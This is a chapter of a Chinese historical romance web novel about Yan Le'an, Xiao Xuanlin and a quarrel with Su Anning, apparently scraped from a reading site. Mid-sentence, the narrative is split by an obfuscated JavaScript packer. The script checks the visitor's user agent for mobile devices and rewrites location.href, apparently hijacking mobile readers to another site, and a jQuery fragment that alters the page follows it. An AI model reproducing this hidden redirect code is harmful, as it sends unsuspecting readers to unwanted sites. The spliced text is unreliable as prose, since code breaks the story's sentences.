身后大理寺的沉肃钟声犹在耳畔,身前却已是长街熙攘,叫卖声混着车马声漫过来。 “大人,阿乐能否请求您一件事。” 晏乐安酝酿了许久终于说出口。 “不可。” “大人,我们是盟友。”晏乐安嘟囔道:“何必如此小气。” “你可知他犯了何事?”萧玄凛开口说道。 “何事?” “新科状元郎,登科不久,却敢在大殿之上犯颜直谏,一面列陈中书令之子罪状,一面痛斥陛下包庇奸佞、失察朝纲,这般触碰龙鳞的行径,被打入大理寺已是陛下宽容了。” 晏乐安听完一脸认真的说道:“他没错不是吗?” “陆迟虽口出狂言,可他所言却句句为真,不然陛下为何只将他打入大理寺,却不严加惩罚。”晏乐安接着说道:“这样的人,本该在朝堂上做一个纯臣,不该是被关在这暗无天日的地牢中,不知何时才会看见日光。” “你想要何时?” 晏乐安眸中满是错愕,愣在原地半晌。 他这就同意了。这人何时变得如此好说话了。 “越快越好。”晏乐安怕他反悔,连忙说道。 萧玄凛看着她这一脸急不可耐,生怕他反悔的样子,莫名有点想笑。 他抬眼说道:“这世上没有白得的生路,想要救他出来得费一番功 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16716278|189298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫。阿乐,你能给我什么?亦或是,你觉得他能给我什么?” “大人,有时候随手的救助在将来或许可以有意外的惊喜。陆迟如今虽为阶下囚,可阿乐相信以他的才华来日一定会有一番作为。大人若在此时救了他,不会吃亏。阿乐也会铭记大人好意一辈子。” “哼。” “大人,阿乐说的不对吗?” “你说的是没错。”萧玄凛淡淡回应。 一番作为?在这个世道,一个普通百姓想要爬上去何其难,就连他也多少借了镇北王府的势。 萧玄凛不知何时放慢了脚步,两人渐渐由一前一后变成并排走着,身影慢慢随着太阳消失在黄昏中。 “姑娘,您可回来了。”银月急匆匆的跑进来。 晏乐安此时目瞪口呆的望着屋内,看发出感叹:“镇北王府招贼了?” 往日整洁的屋子此刻一片狼藉,案上的瓷瓶碎成几瓣,墨汁泼洒在宣纸上晕开黑团,连她前几日才买的字画也被踩的不成样子。 银月春桃慌慌张张跑过来,眼眶泛红,“姑娘,是苏姑娘回来了,见您住在此处,气不打一处来,不由分说就把屋里的东西全砸了!奴婢拦也拦不住,还请您恕罪!” “苏姑娘是何人?” “是镇北王下属的孤女,听闻那位下属在战场上替镇北王挡了一剑,家中也只有这一位孤女了,镇北王便将苏姑娘收为义女。一直养在身边,不知为何今日忽然回京了。” 晏乐安眸底掠过一丝诧异,随即轻轻摇头,弯腰拾起地上的字画,指尖摩挲着上面字画的纹路:“无妨,不过是些物件罢了。苏姑娘既是世子的义妹,想必是娇惯着长大的,闹些脾气也正常。” 话音刚落,院外就传来一阵急促的脚步声,苏安宁提着裙摆闯了进来,身后还跟着两个面有难色的仆从。 苏安宁一见晏乐安,杏眼立刻瞪圆,叉着腰道:“你倒是回来得巧!我告诉你,张阿乐这镇北王府不是谁都可以住的,你若是识相的话,就早点搬出去。不然,休怪我不客气。” 晏乐安挑眉,故意装作为难的模样,指尖轻轻敲了敲腰间的玉佩:“可这院子是世子亲自安排我住的,我若是搬了,岂不是驳了世子的面子?” 苏安宁一听晏乐安的话,火气更盛:“我兄长定是被你蒙骗了!他向来不喜陌生人,怎会随意让一个陌生女子住进来?” 晏乐安绕到花架旁,笑着道:“苏姑娘若是不信,不如去问问世子?只是我怕你去了,世子反倒说你不懂事,欺负我这个客人呢。” “你!”苏安宁气得跺脚,追着晏乐安在院子里跑了起来,“你别跑!我才不怕呢!” 晏乐安脚步不停,时不时回头逗她两句:“苏姑娘跑慢些,小心摔着。不然赖上我,我有理也说不清了。” 银月站在一旁,看着自家公主与苏姑娘追追打打的模样,原本紧绷的神经渐渐放松,忍不住捂嘴偷笑。 阳光透过树叶的缝隙洒下来,落在两人身上,少女间的鲜活气就这样蔓延在院子里。 苏安宁跑得气喘吁吁,扶着树干弯腰喘气,看着晏乐安站在不远处笑盈盈的模样,忽然觉得有些别扭。她本是来找人算账的,怎么反倒被人逗得团团转?可看着晏乐安眼底没有半分恶意的笑意,她又实在生不起气来,只能嘟囔道:“你真是个怪人。今日我先绕过你,明日若你还不搬走,我定不会让你好过的。” 说完,苏安宁便气鼓鼓的提着裙子离开,走之前还不忘放下狠话:“哼,我一定会告诉兄长,让他把你赶出去的。你就等着吧。”